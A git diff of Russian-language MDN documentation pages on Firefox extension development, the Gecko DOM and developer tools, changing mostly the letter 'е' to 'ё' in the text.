                • Расширяемый язык разметки (XML): XML 1.0, Пространство имён в XML, Associating Style Sheets with XML Documents 1.0, Fragment Identifier for XML
                  •  
                • XSL Традиционно: XSLT 1.0
                  •  
                • XML Часть языка: XPath 1.0
                  •  
                • Resource Description Framework: RDF
                  •  
                • Simple Object Access Protocol: SOAP 1.1
                  •  
                • ECMA-262, revision 3 (JavaScript 1.5): ECMA-262
                  • 
 
                
 
                 
                
diff --git "a/files/ru/orphaned/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/index.html" "b/files/ru/orphaned/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/index.html"
index bc46b037c6..bfa7397637 100644
--- "a/files/ru/orphaned/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/index.html"
+++ "b/files/ru/orphaned/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/index.html"
@@ -17,7 +17,7 @@ original_slug: Создание_расширения
 
 
                Создание проекта расширения
                
 
-
                Расширения состоят из нескольких файлов и для корректной его работы необходимо придерживаться определенных правил их расположения в директориях. Вот структура типичного расширения:
                
+
                Расширения состоят из нескольких файлов и для корректной его работы необходимо придерживаться определённых правил их расположения в директориях. Вот структура типичного расширения:
                
 
 
                /myExtension:
               /install.rdf
@@ -105,9 +105,9 @@ original_slug: Создание_расширения
 
 
                Интерфейс Firefox написан на XUL и JavaScript. XUL - это язык, основанный на XML. Он отвечает за визуальную часть интерфейса. JavaScript реализует функциональность через привязку к действиям пользователя.
                
 
-
                Так как визуально браузер строится на XUL, то, следовательно, он весь представляется в виде XML-файла. Вы можете посмотреть на него (это будет полезно для четкого понимания своих дальнейших действий). Зайдите в папку установки Firefox, откройте там папку chrome. В ней будет browser.jar. Несмотря на расширение, этот файл - обычный zip-архив. Внутри него вы найдете файл content/browser/browser.xul. Открыв его, можно полюбоваться на общую структуру визуальной части браузера. Пусть вас не смущает большое количество непонятных пока строк - во всем разберетесь позже. Собственно, корневым узлом этого XML-файла является элемент window, содержащиеся в нем узлы - это отдельные элементы интерфейса. Например, вы можете найти кнопку обновления страницы (поищите узел с id="reload-button") или пункт меню "Правка" (id="edit-menu").
                
+
                Так как визуально браузер строится на XUL, то, следовательно, он весь представляется в виде XML-файла. Вы можете посмотреть на него (это будет полезно для чёткого понимания своих дальнейших действий). Зайдите в папку установки Firefox, откройте там папку chrome. В ней будет browser.jar. Несмотря на расширение, этот файл - обычный zip-архив. Внутри него вы найдёте файл content/browser/browser.xul. Открыв его, можно полюбоваться на общую структуру визуальной части браузера. Пусть вас не смущает большое количество непонятных пока строк - во всем разберётесь позже. Собственно, корневым узлом этого XML-файла является элемент window, содержащиеся в нем узлы - это отдельные элементы интерфейса. Например, вы можете найти кнопку обновления страницы (поищите узел с id="reload-button") или пункт меню "Правка" (id="edit-menu").
                
 
-
                Так вот, суть расширения интерфейса браузера состоит в том, что мы берем некий узел из браузера, описываем его в своем файле с необходимыми нам изменениями, например, добавляя к нему новые дочерние узлы. Таким образом можно добавить новые кнопки в панель инструментов (или создать новую панель и поместить ее в нужное место), добавить новый пункт меню (как рядом со "Справкой" так и в подменю, скажем, "Инструменты" (Tools)). Это технология называется en:XUL Overlays.
                
+
                Так вот, суть расширения интерфейса браузера состоит в том, что мы берём некий узел из браузера, описываем его в своём файле с необходимыми нам изменениями, например, добавляя к нему новые дочерние узлы. Таким образом можно добавить новые кнопки в панель инструментов (или создать новую панель и поместить её в нужное место), добавить новый пункт меню (как рядом со "Справкой" так и в подменю, скажем, "Инструменты" (Tools)). Это технология называется en:XUL Overlays.
                
 
 
                В нашем случае мы добавим новый элемент в строку статуса. В файле browser.xul можно найти узел с id="status-bar". Это и есть строка статуса. В этом узле есть несколько дочерних узлов. Добавим к ним наш, который будет описывать новую панель. Создайте файл, назовите его, скажем, sample.xul и поместите в папку chrome/content. Внесите туда такой код:
                
 
@@ -132,7 +132,7 @@ original_slug: Создание_расширения
 
 
                  
  
                • протокол chrome говорит, что необходимо классифицировать и обработать содержимое файла как хром.
                  • 
- 
                • название пакета (в данном случае, это browser), указывающий на "сверток" (bundle) компонентов интерфейса. Это название уникально для каждого приложения/расширения.
                  • 
+ 
                • название пакета (в данном случае, это browser), указывающий на "свёрток" (bundle) компонентов интерфейса. Это название уникально для каждого приложения/расширения.
                  • 
  
                • тип запрашиваемых данных. Есть три типа: content (XUL, JavaScript, XBL Bindings и др., т.е. компоненты, формирующие вид и поведение интерфейса), locale (DTD, файлы propeties и т.п., производящие локализацию интерфейса) и skin (CSS и изображения для формирования темы интерфейса).
                  • 
  
                • файл для загрузки.
                  • 
 
                
@@ -173,14 +173,14 @@ original_slug: Создание_расширения
 
 
                Тестирование
                
 
-
                Для начала необходимо уведомить Firefox о нашем расширении. Раньше (еще во времена Firefox 1.0) необходимо было упаковать расширение как en:XPI и установить через интерфейс браузера. Теперь же достаточно просто указать Firefox, где находится папка с вашим расширением - и он будет подключать его каждый раз при загрузке.
                
+
                Для начала необходимо уведомить Firefox о нашем расширении. Раньше (ещё во времена Firefox 1.0) необходимо было упаковать расширение как en:XPI и установить через интерфейс браузера. Теперь же достаточно просто указать Firefox, где находится папка с вашим расширением - и он будет подключать его каждый раз при загрузке.
                
 
 
                Итак, ваши действия:
                
 
 
                  
  
                1. Найдите папку с вашим профилем. Если вы не создавали его специально, браузер использует профиль по умолчанию.
                  
   Как найти папку с профилем.
                  2. 
- 
                2. Откройте папку extensions. Если ее нет, создайте ее.
                  3. 
+ 
                3. Откройте папку extensions. Если её нет, создайте ее.
                  4. 
  
                4. Создайте новый текстовый файл и поместите в него лишь путь к вашему расширению (напр., C:\extensions\my_extension\ для Windows или ~/extensions/my_extension/ для Unix/Linux). Сохраните файл под именем, одинаковым с id вашего расширения.
                  5. 
 
                
 
@@ -188,7 +188,7 @@ original_slug: Создание_расширения
 
 
                  
  
                • Не забудьте завершающий слеш.
                  • 
- 
                • Возможно возникновение проблем из-за знаков нижнего подчеркивания в названии; если так вышло измените его.
                  • 
+ 
                • Возможно возникновение проблем из-за знаков нижнего подчёркивания в названии; если так вышло измените его.
                  • 
 
                
 
 
                Теперь вы готовы к тестированию вашего расширения. Запустите Firefox. Он увидит ссылку к вашему расширению и установит его. Если все прошло успешно, вы увидите надпись "Hello, World!" в строке статуса справа. Для внесения изменений достаточно править xul-файлы и перезапустить Firefox.
                
@@ -205,11 +205,11 @@ original_slug: Создание_расширения
 
 
                Сайт расширений addons.mozilla.org
                
 
-
                Сайт расширений Mozilla (http://addons.mozilla.org) является местом, где вы можете бесплатно разместить свое расширение. Сайт является надежным и удобным местом для распространения своих расширений: достаточно лишь зарегистрироваться - и вы сможете загружать свои файлы на сервер.
                
+
                Сайт расширений Mozilla (http://addons.mozilla.org) является местом, где вы можете бесплатно разместить своё расширение. Сайт является надёжным и удобным местом для распространения своих расширений: достаточно лишь зарегистрироваться - и вы сможете загружать свои файлы на сервер.
                
 
 
                Регистрирование расширения в реестре Windows
                
 
-
                В Windows информация о расширении может быть добавлена в реестр. Это дает дополнительный возможности при установке расширений. Подробнее об этом читайте здесь.
                
+
                В Windows информация о расширении может быть добавлена в реестр. Это даёт дополнительный возможности при установке расширений. Подробнее об этом читайте здесь.
                
 
 
                Узнайте больше об оверлеях XUL
                
 
@@ -217,11 +217,11 @@ original_slug: Создание_расширения
 
 
                Локализация
                
 
-
                Для поддержки более чем одного языка необходимо отделить локализуемые строки от основного содержания с помощью сущностей (entities) и "свертков строк" (string bundles). Гораздо проще делать это в течение разработки расширения, чем после.
                
+
                Для поддержки более чем одного языка необходимо отделить локализуемые строки от основного содержания с помощью сущностей (entities) и "свёртков строк" (string bundles). Гораздо проще делать это в течение разработки расширения, чем после.
                
 
 
                Информация о локализации хранится в подпапке locale папки chrome (т.е. рядом с папкой content). В этой папке необходимо разместить столько папок, сколько локализаций вы намерены сделать. Обычной практикой является называть папки стандартными названиями локалей: скажем, папку с английской локализацией - en-US, русской - ru-RU и т.п., что, впрочем, не является обязательным. Теперь создайте в каждой из папок файл somename.ent (или anothername.dtd) (имя одинаково во всех папках локализаций) и заполните его соответствующим образом (показано ниже).
                
 
-
                Локализуем наше расширение на русский и английский языки. После создания 2 папок (назовем их ru-RU и en-US), создаем в каждой из них файл (пусть myStatusBar.ent) Поместите в тот файл, который в папке с английской локализацией, следующую строку:
                
+
                Локализуем наше расширение на русский и английский языки. После создания 2 папок (назовём их ru-RU и en-US), создаём в каждой из них файл (пусть myStatusBar.ent) Поместите в тот файл, который в папке с английской локализацией, следующую строку:
                
 
 
                <!ENTITY statusbarpanel.label "Hello, World!">
 
                
diff --git "a/files/ru/orphaned/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/\320\275\320\260\321\201\321\202\321\200\320\276\320\271\320\272\320\260_firefox_\320\264\320\273\321\217_\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\270/index.html" "b/files/ru/orphaned/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/\320\275\320\260\321\201\321\202\321\200\320\276\320\271\320\272\320\260_firefox_\320\264\320\273\321\217_\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\270/index.html"
index 40f1fb4b05..f1af432fe0 100644
--- "a/files/ru/orphaned/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/\320\275\320\260\321\201\321\202\321\200\320\276\320\271\320\272\320\260_firefox_\320\264\320\273\321\217_\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\270/index.html"
+++ "b/files/ru/orphaned/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/\320\275\320\260\321\201\321\202\321\200\320\276\320\271\320\272\320\260_firefox_\320\264\320\273\321\217_\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\270/index.html"
@@ -15,7 +15,7 @@ original_slug: Создание_расширения/Настройка_Firefox_
 
              
 
                 
              1. Откройте терминал.
                2.  
              2. Введите "firefox -p".
                3. 
 
              
-
              В открывшемся окне менеджера профилей нажмите кнопку "Создать". Далее следуйте инструкциям в менеджере. Он Вам предложит ввести для нового профиля название, для нашего пусть будет "Develop" (это уже на Ваше усмотрение), а так же предложит выбрать папку, где будет наш профиль храниться. Для папки экспериментального профиля подойдет открытое и, главное, доступное место, потому что может потребоваться в нем что-нибудь изменить руками или добавить какой-нибудь файл.
              
+
              В открывшемся окне менеджера профилей нажмите кнопку "Создать". Далее следуйте инструкциям в менеджере. Он Вам предложит ввести для нового профиля название, для нашего пусть будет "Develop" (это уже на Ваше усмотрение), а так же предложит выбрать папку, где будет наш профиль храниться. Для папки экспериментального профиля подойдёт открытое и, главное, доступное место, потому что может потребоваться в нем что-нибудь изменить руками или добавить какой-нибудь файл.
              
 
              После того, как профиль создан, нажимаем на "Запуск Firefox". После запуска браузера вводим в адресную строку "about:config" и нажимаем Enter. На это браузер нам выдаст окно с предупреждением о возможности испортить программу, мы пообещаем ему быть осторожными.
              
 
              В открывшемся меню Вы увидите множество строк с настройками браузера. Но в настройках "по умолчанию" вписаны не все нужные нам строки - ведь в повседневной жизни они не нужны. Для полноценной настройки экспериментального профиля Firefox следует добавить в настройки некоторые параметры. Для этого достаточно нажать правую кнопку мыши в любом месте списка и выбрать из контекстного меню пункт "Создать" --> "Логичкеское".
              
 
                 
              • javascript.options.showInConsole = true - запись ошибок в файлах chrome в консоль ошибок (англ.).
                •  
              • nglayout.debug.disable_xul_cache = true - выключение кеширования xul-объектов. При внесении изменений в окна и диалоги не потребуется перезапуск браузера. Однако, работает только при использовании простых папок, а не jar-архивов. Внесение же изменений в xul-оверлеи все таки потребует перезапуска браузера.
                •  
              • browser.dom.window.dump.enabled = true - позволяет выводить в стандартную консоль состояние дампа. Для получения информации смотри window.dump (англ.)
                •  
              • javascript.options.strict = true - принудительный вывод в консоль всех предупреждений JavaScript.
                •  
              • extensions.logging.enabled = true - вывод информации об инсталляции и обновлении в консоль ошибок.
                • 
diff --git "a/files/ru/orphaned/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/\320\275\320\260\321\201\321\202\321\200\320\276\320\271\320\272\320\260_firefox_\320\264\320\273\321\217_\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\270_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\320\271/index.html" "b/files/ru/orphaned/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/\320\275\320\260\321\201\321\202\321\200\320\276\320\271\320\272\320\260_firefox_\320\264\320\273\321\217_\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\270_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\320\271/index.html"
index f85369e2e0..7269a58d65 100644
--- "a/files/ru/orphaned/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/\320\275\320\260\321\201\321\202\321\200\320\276\320\271\320\272\320\260_firefox_\320\264\320\273\321\217_\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\270_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\320\271/index.html"
+++ "b/files/ru/orphaned/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/\320\275\320\260\321\201\321\202\321\200\320\276\320\271\320\272\320\260_firefox_\320\264\320\273\321\217_\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\270_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\320\271/index.html"
@@ -6,7 +6,7 @@ original_slug: Создание_расширения/Настройка_Firefox_
 
                Прежде чем начать разработку расширения, желательно настроить для этого Firefox. Нужно это для того, чтобы не потерять нужные данные и не сбить настройки в повседневном профиле Firefox.
                
 
                Создание экспериментального профиля Firefox
                
 
                Firefox хранит свои настройки в так называемом профиле. Профиль это папка, содержащая файлы в которых и хранятся настройки программы, файлы расширений, локальный кеш браузера, информация о сессиях, файлы пользовательских закладок и прочее.
                
-
                Для того, чтобы не пришлось восстанавливать свои настройки после неудачного эксперимента с расширением, предлагается (на Ваше усмотрение, конечно) сделать профиль, который будет служить специально для разработки расширений и в нем будут внесен ряд небольших, но полезных изменений в глобальных настройках браузера.
                
+
                Для того, чтобы не пришлось восстанавливать свои настройки после неудачного эксперимента с расширением, предлагается (на Ваше усмотрение, конечно) сделать профиль, который будет служить специально для разработки расширений и в нем будут внесён ряд небольших, но полезных изменений в глобальных настройках браузера.
                
 
                Для создания профиля в Microsoft Windows сделайте следующее:
                
 
                   
                • Закройте все окна Firefox
                  •  
                • Нажмите кнопку "Пуск"
                  •  
                • Выберите меню "Выполнить"
                  •  
                • Впишите в строку  "Путь_к_папке\с_программой\firefox.exe -no-remote -P имя_профиля"
                  • 
 
                
diff --git "a/files/ru/orphaned/\321\201\320\277\321\200\320\260\320\262\320\276\321\207\320\275\320\260\321\217_\320\270\320\275\321\204\320\276\321\200\320\274\320\260\321\206\320\270\321\217_\320\277\320\276_gecko_dom/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" "b/files/ru/orphaned/\321\201\320\277\321\200\320\260\320\262\320\276\321\207\320\275\320\260\321\217_\320\270\320\275\321\204\320\276\321\200\320\274\320\260\321\206\320\270\321\217_\320\277\320\276_gecko_dom/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html"
index 62486747ec..2a17f1d4ce 100644
--- "a/files/ru/orphaned/\321\201\320\277\321\200\320\260\320\262\320\276\321\207\320\275\320\260\321\217_\320\270\320\275\321\204\320\276\321\200\320\274\320\260\321\206\320\270\321\217_\320\277\320\276_gecko_dom/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html"
+++ "b/files/ru/orphaned/\321\201\320\277\321\200\320\260\320\262\320\276\321\207\320\275\320\260\321\217_\320\270\320\275\321\204\320\276\321\200\320\274\320\260\321\206\320\270\321\217_\320\277\320\276_gecko_dom/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html"
@@ -46,14 +46,14 @@ p_list = doc.getElementsByTagName("para");
 
 
                Вам не нужно делать что-то особенное, чтобы начать использовать DOM. Различные браузеры имеют различные реализации DOM, и эти реализации демонстрируют различную степень соответствия действующему стандарту DOM (тема, которую мы пытаемся избежать в этой документации), но каждый веб-браузер использует некоторую объектную модель документа, чтобы сделать веб-страницы доступными для скрипта.
                
 
-
                Когда вы создаете код, независимо от того, встроен ли он в элемент <script> или включен в веб-страницу с помощью инструкции по загрузке скрипта извне, вы можете сразу начать использовать API для элементов document или window  для манипулирования самим документом или получить его дочерние элементы, которые являются различными элементами веб-страницы. Ваше программирование DOM может быть достаточно простым, как, например, следующий код, который выводит предупреждающее сообщение используя функцию alert() из объекта window, или может использовать более сложные методы DOM для создания нового контента, как в более длинном примере ниже.
                
+
                Когда вы создаёте код, независимо от того, встроен ли он в элемент <script> или включён в веб-страницу с помощью инструкции по загрузке скрипта извне, вы можете сразу начать использовать API для элементов document или window  для манипулирования самим документом или получить его дочерние элементы, которые являются различными элементами веб-страницы. Ваше программирование DOM может быть достаточно простым, как, например, следующий код, который выводит предупреждающее сообщение используя функцию alert() из объекта window, или может использовать более сложные методы DOM для создания нового контента, как в более длинном примере ниже.
                
 
 
                Следующий пример кода JavaScript буде выводить предупреждение, когда загрузка документа завершена (и когда весь DOM доступен для использования).
                
 
 
                <body onload="window.alert('Welcome to my home page!');">
 
                
 
-
                Эта функция создает новый элемент H1, добавляет в него текст и, затем, добавляет H1 в дерево данного документа:
                
+
                Эта функция создаёт новый элемент H1, добавляет в него текст и, затем, добавляет H1 в дерево данного документа:
                
 
 
                <html>
   <head>
@@ -61,7 +61,7 @@ p_list = doc.getElementsByTagName("para");
        // запускает эту функцию, когда документ загружен
        window.onload = function() {
 
-         // создает пару элементов на пустой веб-странице
+         // создаёт пару элементов на пустой веб-странице
          var heading = document.createElement("h1");
          var heading_text = document.createTextNode("Big Head!");
          heading.appendChild(heading_text);
@@ -137,9 +137,9 @@ table.summary = "note: increased border";
 
 
                This section lists some of the most commonly-used interfaces in the DOM. The idea is not to describe what these APIs do here but to give you an idea of the sorts of methods and properties you will see very often as you use the DOM. These common APIs are used in the longer examples in the DOM Examples chapter at the end of this book.
                
 
-
                Document и window объекты являются объектами, интерфейсы которых наиболее  часто используются при программировании DOM. Простыми словами, объект window  представляет собой что-то вроде браузера, а объект document корень самого документа. Element наследуется от общего интерфейса Node, и вместе эти два интерфейса предоставляют множество методов и свойств, которые вы используете для отдельных элементов. Эти элементы также могут иметь определенные интерфейсы для обработки данных, которые хранятся в этих элементах, как в примере объекта tableв предыдущем разделе.
                
+
                Document и window объекты являются объектами, интерфейсы которых наиболее  часто используются при программировании DOM. Простыми словами, объект window  представляет собой что-то вроде браузера, а объект document корень самого документа. Element наследуется от общего интерфейса Node, и вместе эти два интерфейса предоставляют множество методов и свойств, которые вы используете для отдельных элементов. Эти элементы также могут иметь определённые интерфейсы для обработки данных, которые хранятся в этих элементах, как в примере объекта tableв предыдущем разделе.
                
 
-
                Ниже приведен краткий список общих API-интерфейсов в сценариях веб-страниц и XML-страниц с использованием DOM.
                
+
                Ниже приведён краткий список общих API-интерфейсов в сценариях веб-страниц и XML-страниц с использованием DOM.
                
 
 
                  
  
                • document.getElementById(id)
                  • 
diff --git "a/files/ru/orphaned/\321\201\320\277\321\200\320\260\320\262\320\276\321\207\320\275\320\260\321\217_\320\270\320\275\321\204\320\276\321\200\320\274\320\260\321\206\320\270\321\217_\320\277\320\276_gecko_dom/\320\277\321\200\320\265\320\264\320\270\321\201\320\273\320\276\320\262\320\270\320\265/index.html" "b/files/ru/orphaned/\321\201\320\277\321\200\320\260\320\262\320\276\321\207\320\275\320\260\321\217_\320\270\320\275\321\204\320\276\321\200\320\274\320\260\321\206\320\270\321\217_\320\277\320\276_gecko_dom/\320\277\321\200\320\265\320\264\320\270\321\201\320\273\320\276\320\262\320\270\320\265/index.html"
index db38e4b46e..1a364396b0 100644
--- "a/files/ru/orphaned/\321\201\320\277\321\200\320\260\320\262\320\276\321\207\320\275\320\260\321\217_\320\270\320\275\321\204\320\276\321\200\320\274\320\260\321\206\320\270\321\217_\320\277\320\276_gecko_dom/\320\277\321\200\320\265\320\264\320\270\321\201\320\273\320\276\320\262\320\270\320\265/index.html"
+++ "b/files/ru/orphaned/\321\201\320\277\321\200\320\260\320\262\320\276\321\207\320\275\320\260\321\217_\320\270\320\275\321\204\320\276\321\200\320\274\320\260\321\206\320\270\321\217_\320\277\320\276_gecko_dom/\320\277\321\200\320\265\320\264\320\270\321\201\320\273\320\276\320\262\320\270\320\265/index.html"
@@ -60,6 +60,6 @@ function testWinDoc() {
 </html>
 
                
 
-
                Похожие функции и страницы можно сделать для методов и свойств объектов, которые еще недоступны к использованию. См. параграф Тестирование DOM API для введения в средства тестирования, которые вы можете использовать для большого количества различных API.
                
+
                Похожие функции и страницы можно сделать для методов и свойств объектов, которые ещё недоступны к использованию. См. параграф Тестирование DOM API для введения в средства тестирования, которые вы можете использовать для большого количества различных API.
                
 
 
                {{ languages( { "fr": "fr/R\u00e9f\u00e9rence_du_DOM_Gecko/Pr\u00e9face", "ja": "ja/Gecko_DOM_Reference/Preface", "ko": "ko/Gecko_DOM_Reference/Preface", "pl": "pl/Dokumentacja_Gecko_DOM/Przedmowa", "zh-cn": "cn/Gecko_DOM_\u53c2\u8003/Preface" } ) }}
                
diff --git a/files/ru/plugins/roadmap/index.html b/files/ru/plugins/roadmap/index.html
index 0537cfcf94..31a24facee 100644
--- a/files/ru/plugins/roadmap/index.html
+++ b/files/ru/plugins/roadmap/index.html
@@ -20,7 +20,7 @@ original_slug: Plugins/План
  
                Сентябрь 2017
                
  
                Начиная с Firefox 56 в Сентябре 2017, в Firefox для Android будет удалена поддержка всех плагинов ({{bug(1381916)}}).
                
  
                2019
                
- 
                В Сентябре 2019, в Firefox 69 будет удалена надстройка во Flash под названием "Всегда включен", теперь мы будет всегда спрашивать ваше разрешение, прежде чем запустить плагин на сайте.
                
+ 
                В Сентябре 2019, в Firefox 69 будет удалена надстройка во Flash под названием "Всегда включён", теперь мы будет всегда спрашивать ваше разрешение, прежде чем запустить плагин на сайте.
                
  
                2020
                
  
                В начале 2020, поддержка Flash будет полностью удалена из обычной версии Firefox. Firefox Extended Support Release (ESR) будет поддерживать Flash до конца 2020.
                
  
                2021
                
@@ -52,7 +52,7 @@ original_slug: Plugins/План
  
              • Май 2014 - Отказ от обновлений NPAPI
                • 
  
              • Ноябрь 2014 - Финальный отсчёт по отказу от NPAPI
                • 
  
              • Август 2016 - Flash и Chrome
                • 
- 
              • Декабрь 2016 - План развертывания HTML5 по умолчанию
                • 
+ 
              • Декабрь 2016 - План развёртывания HTML5 по умолчанию
                • 
  
              • Июль 2017 - Скажем прощай Flash в Chrome
                • 
 
              
 
diff --git a/files/ru/tools/3d_view/index.html b/files/ru/tools/3d_view/index.html
index b5b8c0ded1..28f6dd0124 100644
--- a/files/ru/tools/3d_view/index.html
+++ b/files/ru/tools/3d_view/index.html
@@ -18,7 +18,7 @@ translation_of: Tools/3D_View
 
 
              
 
-
              Нажимая и перетаскивая представление, вы можете поворачивать и переориентировать трехмерную презентацию иерархии DOM на своей странице, чтобы увидеть ее под разными углами, чтобы лучше изучить ее структуру. Элементы вне экрана становятся видимыми, чтобы вы могли видеть, где находятся ваши элементы по отношению к видимому контенту. Вы можете щелкнуть по элементам, чтобы увидеть их HTML на панели HTML или на панели «Стиль». И наоборот, вы можете щелкнуть элементы на панели поиска, чтобы изменить, какой элемент выбран в 3D-представлении.
              
+
              Нажимая и перетаскивая представление, вы можете поворачивать и переориентировать трёхмерную презентацию иерархии DOM на своей странице, чтобы увидеть её под разными углами, чтобы лучше изучить её структуру. Элементы вне экрана становятся видимыми, чтобы вы могли видеть, где находятся ваши элементы по отношению к видимому контенту. Вы можете щёлкнуть по элементам, чтобы увидеть их HTML на панели HTML или на панели «Стиль». И наоборот, вы можете щёлкнуть элементы на панели поиска, чтобы изменить, какой элемент выбран в 3D-представлении.
              
 
 
              Если вы не видите кнопку 3D в инспекторе страницы, возможно, что ваш графический драйвер нуждается в обновлении. Дополнительную информацию см. На странице драйверов.
              
 
@@ -88,7 +88,7 @@ translation_of: Tools/3D_View
 
                
  
              • Если вы накосячили с  HTML-макетом, просмотр 3D-вида поможет найти, где вы налажали. Часто проблемы структур  вызваны неправильным вложением содержимого. Это будет более очевидным при использовании 3D-вида.
                • 
  
              • Если контент не отображается, вы можете выяснить, почему; поскольку 3D-вид позволяет вам уменьшить масштаб, чтобы увидеть элементы, которые визуализируются за пределами видимой области страницы.
                • 
- 
              • Вы можете посмотреть, как структурирована ваша страница, чтобы понять, стоит ли ее оптимизировать.
                • 
+ 
              • Вы можете посмотреть, как структурирована ваша страница, чтобы понять, стоит ли её оптимизировать.
                • 
  
              • Ну и  ...  это  шщ-и-и-и-и-и-карно.
                • 
 
              
 
diff --git a/files/ru/tools/accessibility_inspector/index.html b/files/ru/tools/accessibility_inspector/index.html
index 52c20f411a..7dc539fd14 100644
--- a/files/ru/tools/accessibility_inspector/index.html
+++ b/files/ru/tools/accessibility_inspector/index.html
@@ -14,7 +14,7 @@ original_slug: Tools/Инспектор_доступности
 
 
              Здесь мы в основном говорим о том, чтобы донести информацию людям с нарушениями зрения - это делается с помощью API доступности, доступных внутри веб-браузеров, которые раскрывают информацию о том, какие роли играют разные элементы на вашей странице (например, они являются текстом или кнопками, ссылками, элементами форм и т. д.?).
              
 
-
              Семантические элементы DOM имеют роли, назначенные им по умолчанию, которые имеют свое предназначение. Иногда приходится использовать некоторую не семантическую разметку (например, {{htmlelement ("div")}}) для создания сложного настраиваемого элемента управления, а элемент управления не будет иметь роль по умолчанию, которая отражает его назначение. В такой ситуации вы можете использовать атрибуты роли WAI-ARIA для обозначения своих собственных ролей.
              
+
              Семантические элементы DOM имеют роли, назначенные им по умолчанию, которые имеют своё предназначение. Иногда приходится использовать некоторую не семантическую разметку (например, {{htmlelement ("div")}}) для создания сложного настраиваемого элемента управления, а элемент управления не будет иметь роль по умолчанию, которая отражает его назначение. В такой ситуации вы можете использовать атрибуты роли WAI-ARIA для обозначения своих собственных ролей.
              
 
 
              Роли и другая информация, предоставляемая API-интерфейсами браузера, представлена в иерархической структуре, называемой деревом доступности. Это немного похоже на дерево DOM, за исключением того, что оно содержит более ограниченный набор элементов и немного другую информацию о них.
              
 
diff --git a/files/ru/tools/debugger/index.html b/files/ru/tools/debugger/index.html
index 2ff61ab577..14ba440f2a 100644
--- a/files/ru/tools/debugger/index.html
+++ b/files/ru/tools/debugger/index.html
@@ -13,7 +13,7 @@ translation_of: Tools/Debugger
 ---
 
              {{ToolsSidebar}}
              Отладчик JavaScript позволяет пройтись по JavaScript-коду, исследовать и изменить его состояние, что поможет выявить ошибки в программе.
              
 
-
              Вы можете использовать его для отладки кода, выполняемого локально в Firefox или работающем удаленно, например, в устройстве Firefox OS или Firefox на Android. Изучите Отладка удалённых скриптов чтобы узнать, как подключить к ним отладчик.
              
+
              Вы можете использовать его для отладки кода, выполняемого локально в Firefox или работающем удалённо, например, в устройстве Firefox OS или Firefox на Android. Изучите Отладка удалённых скриптов чтобы узнать, как подключить к ним отладчик.
              
 
 
              {{EmbedYouTube("sK8KU8oiF8s")}}
              
 
diff --git a/files/ru/tools/debugger/source_map_errors/index.html b/files/ru/tools/debugger/source_map_errors/index.html
index 40dc3098d3..0cc0e25ef2 100644
--- a/files/ru/tools/debugger/source_map_errors/index.html
+++ b/files/ru/tools/debugger/source_map_errors/index.html
@@ -5,13 +5,13 @@ translation_of: Tools/Debugger/Source_map_errors
 ---
 
              {{ToolsSidebar}}
              
 
-
              Исходные карты - это файлы JSON, обеспечивающие возможность связать преобразованные источники, как видно из браузера, с их исходными источниками, как написано разработчиком. Иногда вы можете столкнуться с проблемами, связанными с исходными картами. На этой странице объясняются наиболее распространенные проблемы и способы их устранения.
              
+
              Исходные карты - это файлы JSON, обеспечивающие возможность связать преобразованные источники, как видно из браузера, с их исходными источниками, как написано разработчиком. Иногда вы можете столкнуться с проблемами, связанными с исходными картами. На этой странице объясняются наиболее распространённые проблемы и способы их устранения.
              
 
 
              
 
              Примечание. Если вы новичок в исходных картах, вы можете узнать больше о них в разделе Use_a_source_map
              
 
              
 
-
              Общий отчет об ошибках исходной карты
              
+
              Общий отчёт об ошибках исходной карты
              
 
 
              Если вы видите проблему, на веб-консоли появится сообщение.Это сообщение покажет сообщение об ошибке, URL-адрес ресурса и URL-адрес исходной карты:
              
 
diff --git a/files/ru/tools/index.html b/files/ru/tools/index.html
index 92f2c54bfd..2310ea29f7 100644
--- a/files/ru/tools/index.html
+++ b/files/ru/tools/index.html
@@ -37,7 +37,7 @@ translation_of: Tools
